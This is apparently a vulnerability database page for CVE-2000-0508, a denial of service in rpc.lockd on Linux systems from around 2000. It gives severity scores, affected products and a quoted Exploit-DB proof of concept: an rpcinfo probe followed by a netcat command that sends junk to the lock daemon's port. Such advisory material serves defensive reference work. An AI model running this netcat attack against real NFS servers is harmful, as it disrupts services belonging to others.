CVE-2000-0508 : Detail

CVE-2000-0508

1.09%V3
Network
2000-10-13
02h00 +00:00
2005-11-02
09h00 +00:00
CVE.org
NVD
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CVE Descriptions

rpc.lockd in Red Hat Linux 6.1 and 6.2 allows remote attackers to cause a denial of service via a malformed request.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS V0
EPSS V1
EPSS V2
EPSS V3
5.005.004.004.003.003.002.002.001.001.004.19%4.19%4.19%1.16%1.16%1.16%1.16%1.09%Jul '22Jul '2220232023Jul '23Jul '2320242024Jul '24Jul '2420252025
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EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
90908585808075757070656570%86%87%83%84%85%86%84%85%Jul '22Jul '2220232023Jul '23Jul '2320242024Jul '24Jul '2420252025
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EPSS First.org

Exploit information

Exploit Database EDB-ID : 20025

Publication date : 2000-06-07 22h00 +00:00
Author : Mike Murray
EDB Verified : Yes

source: https://www.securityfocus.com/bid/1372/info
A denial of service attack exists in the NFS lock daemon supplied with Linux. By connecting to the port rpc.lockd is running on, and supplying random input, it will cause lockd to exit with an error. The socket associated with rpc.lockd is also not properly released, and cannot be rebound to without a reboot.
This vulnerability most likely affects all Linux distributions running NFS.
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]# nc -p 1000 target 1024
alksdjfalskdjfsdafs
Here, I issued a Ctrl-C to get out of netcat, and got:
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
program vers proto port
 
 
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Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version 2.1

Debian>>Debian_linux >> Version 2.2

Mandrakesoft>>Mandrake_linux >> Version 6.0

Mandrakesoft>>Mandrake_linux >> Version 6.1

Mandrakesoft>>Mandrake_linux >> Version 7.0

Redhat>>Linux >> Version 6.0

Redhat>>Linux >> Version 6.1

Redhat>>Linux >> Version 6.2

References

http://www.securityfocus.com/bid/1372
Tags : vdb-entry, x_refsource_BID